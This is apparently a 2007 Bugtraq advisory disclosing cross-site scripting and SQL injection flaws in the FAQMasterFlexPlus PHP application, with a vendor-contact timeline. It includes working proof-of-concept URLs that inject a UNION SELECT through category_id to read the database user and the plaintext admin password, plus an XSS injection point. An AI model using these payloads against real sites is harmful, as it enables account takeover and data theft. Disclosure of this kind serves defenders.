FAQMasterFlexPlus multiple vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: FAQMasterFlexPlus multiple vulnerabilities
- From: "Juan Galiana" <jgaliana@xxxxxxxxx>
- Date: Fri, 28 Dec 2007 04:26:34 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=xHRvbsPYu+emh8wNN7gzojjzFuXs0UiU3bKiVXAbl5o=; b=HMQwbPt0ApxfyIoq3QJ7bgeYaTPUeQQzYHLB0HOiJE4pqSPXDQVbV3QrTzh5F7COJ6ixBoWiakzXdAesaVRPi2iIvCahliuXvNIFNoueEmGUR4XYcFhMuHhXLsE+jIKpjoBvDHz/Oy/Pgwiw8XW8veX/B+7PyyRI/QRaIP7r08A=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=SGDnSEwhHHYlXuTibbLF35yIg4jTm5GfY1GXPBEcicgiNuVV/kVVoBBHD8884rEtyWPEmd2D7ct4l/vsudPJ3qJQXsQsHD423Hs+x59zLFTyNEQpsBNujHcdXZJATDyLdxbzskRqychqdPpPeY8Jvj/5otR8aesQTF//vy7Ci28=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
- Security Advisory -
- FAQMasterFlexPlus multiple vulnerabilities -
---------------------------------------------------------------
Product: FAQMasterFlexPlus
Version: Latest version is affected, other not tested
Vendor: http://www.netbizcity.com
Affected by: Cross-Site Scripting & SQL injection
I. Introduction.
FaqMasterFlexPlus is a free, database-driven web-based application
written in php for creating and maintaining
Frequently Asked Questions (FAQs) on your web site.
It has language support and features according documentation are:
"Allow to create unlimited categories and unlimited
Questions/Answers and has web-based category and FAQ administration
with Add, Edit, Delete Capability.",
It's free software, released under the GNU General Public Lisence (GPL).
Works with php & mysql and comes bundled in some versions of
Fantastico (Cpanel X).
II. Description
Multiple flaws in FaqMasterFlexPlus have been discovered:
1) Cross Site Scripting:
The script faq.php suffers an XSS bug, specifically the variable
$cat_name it's not properly sanitized,
an attacker exploiting this flaw can perform an XSS attack to
access
the targeted user cookies.
All Admin scripts to add/edit/delete categories and
add/edit/delete
faq don't parse correctly the user supplied input too.
PoC:
http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS]
2) SQL Injection (to exploit this issue it's necesarry
magic_quotes_gpc set to Off in the php.ini file).
All the scripts suffers for sql injections attacks in the
querys to
the database.
PoC:
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/*
Then get a new line like this:
Q faquser@localhost
or a Proof of Concept to get the admin password:
http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin
Q supersecretpassword
bingo! ;)
Besides password is stored in plain text, this is a big
security flaw.
This software is infected with many bugs and must be fully
audited
for enforce the security.
III. Timeline
08/05/2007 - Bugs discovered
10/05/2007 - Vendor Contact (No Response)
12/12/2007 - Vendor Contacted Again (No Response)
28/12/2007 - Advisory Disclosure
IV. Credits
Juan Galiana <jgaliana gmail com>
Regards